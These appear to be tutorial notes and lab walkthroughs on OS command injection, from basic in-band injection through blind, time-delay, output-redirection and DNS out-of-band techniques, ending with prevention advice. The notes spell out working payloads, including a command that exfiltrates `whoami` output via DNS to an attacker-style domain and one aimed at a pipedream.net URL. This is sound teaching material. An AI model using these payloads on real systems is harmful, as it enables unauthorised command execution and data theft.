OS Command injection

• Also known as shell injection.

• It allows an attacker to execute OS commands on the server running an application.

• It can compromise the application and its data.

• An attacker can leverage OS command injection to compromise other parts of the hosting infrastructure.

• An attacker can exploit trust relationships to pivot to other systems within the organization.

Injecting OS commands

• Example: A shopping application lets the user view whether an item is in stock in a particular store.

• The URL to access this information:

https://insecure-website.com/stockStatus?productID=381&storeID=29

• The application must query various legacy systems to provide the stock.

• To achieve this, it uses a shell command to call out the product and store ID as arguments on the system:

stockreport.pl 381 29

• This command outputs the stock status for the specified item, which is returned to the user.

• If the application has no filters against OS command injection, an attacker can submit the input below to execute an arbitrary command:

& echo givemecheese &

• The input is submitted in the productID parameter and executed by the application:

stockreport.pl & echo givemecheese & 29

The echo command causes the supplied string to be echoed in the output. This is how we can test for some types of OS command injection. The & character is a shell command separator: it causes three separate commands to execute, one after another.

Example output:

Error - productID was not provided
givemecheese
29: command not found

The three lines of the output demonstrate:

• The original stockreport.pl command was executed without its expected argument and so returned an error message.

• The injected echo command was executed, and the supplied string was echoed in the output.

• The original argument 29 was executed as a command, which caused the error.

Placing the additional command separator & after the injected command is useful: it separates the injected command from whatever follows the injection point. This reduces the chance that what follows will prevent the injected command from executing.

Labs: OS command injection (simple case)

1

Vulnerability

This lab contains an OS command vulnerability in the product stock checker.

2

End-goal

Execute the whoami command to determine the name of the current user.

3

Analysis

• The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.

• Use Burp Suite to intercept the request that checks the stock level.

• Click on the check stock and view the history in Burp Suite.

• Send the request to Repeater and test the product parameter with & echo givemecheese. A 200 response with the echoed string indicates injection.

• URL-encode the command (e.g., & whoami encoded) before sending to the backend.

• The command output is displayed, confirming the vulnerability.

• From the result you can run another command to read files, e.g. & cat /home/peter-tkbRC6/stockreport.sh (URL-encode).

• You can add # to comment out the rest of the original command if needed (URL-encode).

• Modify the storeID parameter to include the injection and send the request; observe the response.

4

Payload

& whoami (URL-encode before sending)

Useful commands

• Execute some initial commands to obtain information about the system

Purpose of command	Linux	Windows
Name of current user	whoami	whoami
Operating system	uname -a	ver
Network configuration	ifconfig	ipconfig /all
Network connections	netstat -an	netstat -an
Running processes	ps -ef	tasklist

Blind OS command injection vulnerabilities

• This means the application doesn't return the output from the command within its HTTP response.

• Different techniques are required.

• Example: A website submits feedback to a site administrator. The server-side application calls the mail program with submitted details:

mail -s "This site is great" -aFrom:[e-mail] [e-mail]

• The output from the mail command is not returned in the application's responses. Using echo won't work in this situation.

• Other techniques are required to detect and exploit the vulnerability.

Detecting blind OS command injection using time delays

• Inject a command that triggers a time delay, and confirm execution based on how long the response takes.

• The ping command is a common choice; you can specify the number of ICMP packets to send to control the duration:

& ping -c 10 127.0.0.1 &

This causes the application to ping its loopback adapter for 10 seconds.

Lab: Blind OS command injection with time delays

1

Vulnerability

This lab contains an OS command vulnerability in the feedback function.

2

End-goal

Cause a 10-second delay via blind OS command injection.

3

Analysis

• Use Burp Suite to intercept the feedback submission request.

• Test parameters with the sleep or ping payload, e.g. in the name parameter try & sleep 10 and use # to comment out the rest (URL-encode).

• If it doesn't delay, try another parameter.

• If it delays, that's the vulnerable parameter to test further.

• Example encoded payload for the email parameter:

email=x||ping+-c+10+127.0.0.1||

• Observe the response takes 10 seconds to return.

4

Payload

email=x||ping+-c+10+127.0.0.1|| (URL-encode before sending)

Exploiting blind OS command injection by redirecting output

• You can redirect the output from the injected command into a file within the web root, then use the browser to retrieve it.

• Example (redirecting output to a file the web server serves):

& whoami > /var/www/static/whoami.txt &

• The > character sends the output from whoami to the specified file. Then retrieve:

https://vulnerable-website.com/whoami.txt

Lab: Blind OS command injection with output redirection

1

Vulnerability

This lab contains an OS command vulnerability in the feedback function. The application executes a shell command containing user-supplied details; the output is not returned in the response. There is a writable folder at /var/www/images/, and images are served from that location.

2

End-goal

Redirect the output of a command into a file in the web root and retrieve it via the image loading URL.

3

Analysis

• Confirm which parameter is vulnerable to blind command injection using a sleep payload.

• Identify where images are stored (e.g., /var/www/images/).

• Redirect output to a file in that folder.

• Example payload (URL-encode):

email=||whoami>/var/www/images/output.txt||

• Modify the image filename parameter to request output.txt and observe the response containing the injected command output.

4

Payload

whoami (use a redirect to a web-accessible file and URL-encode the entire injection)

Exploiting blind OS command injection using out-of-band (OAST) techniques

• Injected commands can trigger out-of-band network interactions to systems you control.

• Example:

& nslookup givemecheese.web-attacker.com &

• This uses nslookup to cause a DNS lookup for the specified domain. Monitor your controlled server (or Burp Collaborator) to see if the lookup happens.

Lab: Blind OS command injection with out-of-band interaction

1

Vulnerability

A blind OS command injection vulnerability in the feedback function.

2

End-goal

Trigger a DNS lookup to an attacker-controlled domain (e.g., Burp Collaborator).

3

Analysis

• Use Burp Suite to intercept and modify feedback requests.

• Identify the vulnerable parameter (e.g., Email) via a sleep test.

• If local file writes are not possible, trigger an out-of-band interaction with an external domain.

• Example payload (URL-encode appropriately):

email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||

• Use Burp Collaborator (or another OAST service) to monitor for DNS lookups or other interactions.

4

Payload

Example: email=x|| nslookup https://eoj6t86j8bh3dvx.m.pipedream.net|| # (URL-encode before sending)

How to exfiltrate command output via DNS

• Out-of-band channels provide an easy way to exfiltrate command output:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

• This causes a DNS lookup for a domain that includes the result of whoami, allowing the attacker to receive the output in a DNS query (e.g., www.user.kgji2ohoyw.web-attacker.com).

Lab: Blind OS command injection with out-of-band data exfiltration

Vulnerability

A blind OS command injection vulnerability in the feedback function.

End-goal

Exfiltrate command output via a DNS query to an attacker-controlled domain (e.g., Burp Collaborator).

Analysis

• Use Burp Suite to intercept and modify feedback requests.

• Identify the vulnerable parameter via a sleep test.

• If local writes are not writable, trigger an out-of-band interaction.

• Example pattern:

email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||

• Monitor the out-of-band service for inbound DNS lookups containing the command output.

Payload

& nslookup \whoami`.kgji2ohoyw.web-attacker.com &` (URL-encode before sending) {% endstep %} {% endstepper %}

Ways of injecting OS commands

• There are a number of shell metacharacters that allow commands to be chained. Separators that work both on Windows and Linux:

&
&&
|
||

• Separators for Unix-based systems:

;
Newline (0x0a or \n)

• Unix-based systems also use inline execution:

`injected command`
$(injected command)

• Different shell metacharacters behave subtly differently. Some can be used for in-band retrieval or blind exploitation.

• If the input you control appears within quotation marks in the original command, you need to terminate the quoted context using " or ' before using suitable shell metacharacters to inject a new command.

How to prevent OS command injection

• Never call out OS commands from application-layer code when avoidable.

• Use safer platform APIs.

• If you must call commands, apply strong input validation:

  • Validate against a whitelist of permitted values.

  • Validate that the input is a number when expected.

  • Validate that input contains only allowed characters (e.g., alphanumeric), with no other syntax or whitespace.

• Do not rely on attempting to sanitize input by escaping shell metacharacters; prefer whitelist validation and safe APIs.